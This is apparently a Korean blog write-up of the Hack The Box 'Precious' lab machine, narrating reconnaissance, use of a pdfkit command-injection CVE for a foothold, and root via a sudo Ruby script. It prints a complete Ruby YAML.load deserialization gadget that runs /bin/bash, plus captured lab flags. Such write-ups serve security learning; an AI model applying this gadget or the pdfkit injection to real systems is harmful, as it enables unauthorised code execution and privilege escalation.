-
[HTB] Precious WriteupWargame/Hack The Box 2023. 5. 2. 20:25
nmap -sC -sS -sV -p- -O -o scanResult.txt 10.129.85.61
wkhtmltopdf 의 알려진 SSRF 취약점이 있지만 버전이 맞지 않았고, 버전 관계 없이 시도해보았을때 되지 않았다.
https://www.jomar.fr/posts/2021/ssrf_through_pdf_generation/
SSRF Through PDF Generation
SSRF Through PDF Generation
www.jomar.fr
해당 버전인 wkhtmltopdf 0.12.6 에서도 CVE-2022-35583 라는 취약점이 존재하긴 했지만, 아직 공개된 POC는 없는 듯 했다.
gobuster도 의미있는 결과가 나오지 않았고,
서버 버전이었던 nginx/1.18.0 + phusion passenger(r) 6.0.15 관련해서도 알려진 취약점이 있는지 서치해보았지만 별 다른 내용이 나오지는 않았다.
어쨋든 사용 가능한 기능이 html to pdf 컨버팅 기능이 전부였기 때문에 해당 기능 안에서 단서를 찾아보려고 하다가 결과 파일의 Creator에 pdfkit v0.8.6 이라는 키워드를 발견했다.
https://github.com/UNICORDev/exploit-CVE-2022-25765
GitHub - UNICORDev/exploit-CVE-2022-25765: Exploit for CVE-2022–25765 (pdfkit) - Command Injection
Exploit for CVE-2022–25765 (pdfkit) - Command Injection - GitHub - UNICORDev/exploit-CVE-2022-25765: Exploit for CVE-2022–25765 (pdfkit) - Command Injection
github.com
해당 키워드로 검색을 해보니 CVE-2022-25765라는 RCE가 가능한 취약점이 있었고 이를 이용해보기로 했다.
user.txt는 ruby 계정이 아닌 henry 계정의 home디렉토리에 있었다. 우선 쉘의 권한은 ruby이기 때문에 해당 계정의 홈디렉토리에서 파일들을 확인해보다가 henry 계정 정보를 획득했고, user.txt 를 얻을 수 있었다.
sudo -l 을 통해 루트 권한으로 실행 가능한 /usr/bin/ruby /opt/update_dependencies.rb 라는 명령줄을 확인 했으나, 해당 파일은 수정 권한이 없었다.
코드를 분석해보니 dependencies.yml 파일을 YAML.load 하는데, 그 과정에서 코드 실행을 유도 할 수 있다면 루트 권한으로 권한 상승을 할 수 있을것이라고 판단했고 해당 기법에 대해 조사해보았다.
https://staaldraad.github.io/post/2021-01-09-universal-rce-ruby-yaml-load-updated/
Universal RCE with Ruby YAML.load (versions > 2.7) - Staaldraad
A couple of years ago I wrote a universal YAML.load deserialization RCE gadget based on the work by Luke Jahnke from elttam. This has since been patched and no longer works on Ruby versions after 2.7.2 and Rails 6.1. Fortunately, William Bowling (vakzz) ha
staaldraad.github.io
--- - !ruby/object:Gem::Installer i: x - !ruby/object:Gem::SpecFetcher i: y - !ruby/object:Gem::Requirement requirements: !ruby/object:Gem::Package::TarReader io: &1 !ruby/object:Net::BufferedIO io: &1 !ruby/object:Gem::Package::TarReader::Entry read: 0 header: "abc" debug_output: &1 !ruby/object:Net::WriteAdapter socket: &1 !ruby/object:Gem::RequestSet sets: !ruby/object:Net::WriteAdapter socket: !ruby/module 'Kernel' method_id: :system git_set: /bin/bash method_id: :resolve
위와 같은 yml 파일을 YAML.load 한다면, git_set: 의 내용이 명령어로써 실행되는 듯 했다.
서버에 wget 사용이 가능해서 위와 같은 내용의 yml 파일을 생성 후 옮겼고,
henry 계정에서 sudo -l 의 결과 기반으로 아래 명령어를 수행하여 루트 권한의 쉘을 획득 할 수 있었다.
sudo /usr/bin/ruby /opt/update_dependencies.rb
[user] 6f7f16d37d0a3f543055e9fbcd7af997
[root] 4b6d8168adbf5397ce7ad369cb391ae2
반응형'Wargame > Hack The Box' 카테고리의 다른 글
[HTB] Neonify Writeup (0) 2023.05.19 [HTB] Diogenes' Rage Writeup (0) 2023.05.04 [HTB] AbuseHumanDB Writeup (0) 2023.04.28 [HTB] petite rcbee Writeup (0) 2023.04.25 [HTB] Toxic Writeup (0) 2023.04.21